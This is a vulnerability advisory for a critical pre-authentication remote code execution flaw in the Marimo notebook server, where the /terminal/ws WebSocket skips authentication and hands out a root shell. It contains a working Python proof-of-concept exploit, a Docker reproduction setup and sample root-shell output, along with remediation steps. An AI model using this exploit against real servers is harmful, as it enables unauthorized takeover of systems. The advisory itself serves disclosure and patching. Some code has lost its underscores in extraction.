PT-2026-53490 · Pypi · Marimo
Publicado
2026-06-29
·
Atualizado
2026-06-29
CVSS v3.1
9.8
Crítica
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint
/terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.Unlike other WebSocket endpoints (e.g.,
/ws) that correctly call validate auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.Affected Versions
Marimo <= 0.20.4
Vulnerability Details
Root Cause: Terminal WebSocket Missing Authentication
marimo/ server/api/endpoints/terminal.py lines 340-356:python
@router.websocket("/ws")
async def websocket endpoint(websocket: WebSocket) -> None:
app state = AppState(websocket)
if app state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # Accepts connection directly
# ...
child pid, fd = pty.fork() # Creates PTY shellCompare with the correctly implemented
/ws endpoint (ws endpoint.py lines 67-82):python
@router.websocket("/ws")
async def websocket endpoint(websocket: WebSocket) -> None:
app state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app state)
if not await validator.validate auth(): # Correct auth check
returnAuthentication Middleware Limitation
Marimo uses Starlette's
AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate auth() calls.The
/terminal/ws endpoint has neither a @requires("edit") decorator nor a validate auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.Attack Chain
- WebSocket connect to
ws://TARGET:2718/terminal/ws(no auth needed) websocket.accept()accepts the connection directlypty.fork()creates a PTY child process- Full interactive shell with arbitrary command execution
- Commands run as root in default Docker deployments
A single WebSocket connection yields a complete interactive shell.
Proof of Concept
python
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id
')
time.sleep(2)
print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)
ws.close()Reproduction Environment
dockerfile
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]Reproduction Result
With auth enabled (server generates random
access token), the exploit bypasses authentication entirely:$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3Suggested Remediation
- Add authentication validation to
/terminal/wsendpoint, consistent with/wsusingWebSocketConnectionValidator.validate auth() - Apply unified authentication decorators or middleware interception to all WebSocket endpoints
- Terminal functionality should only be available when explicitly enabled, not on by default
Impact
An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.
Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Marimo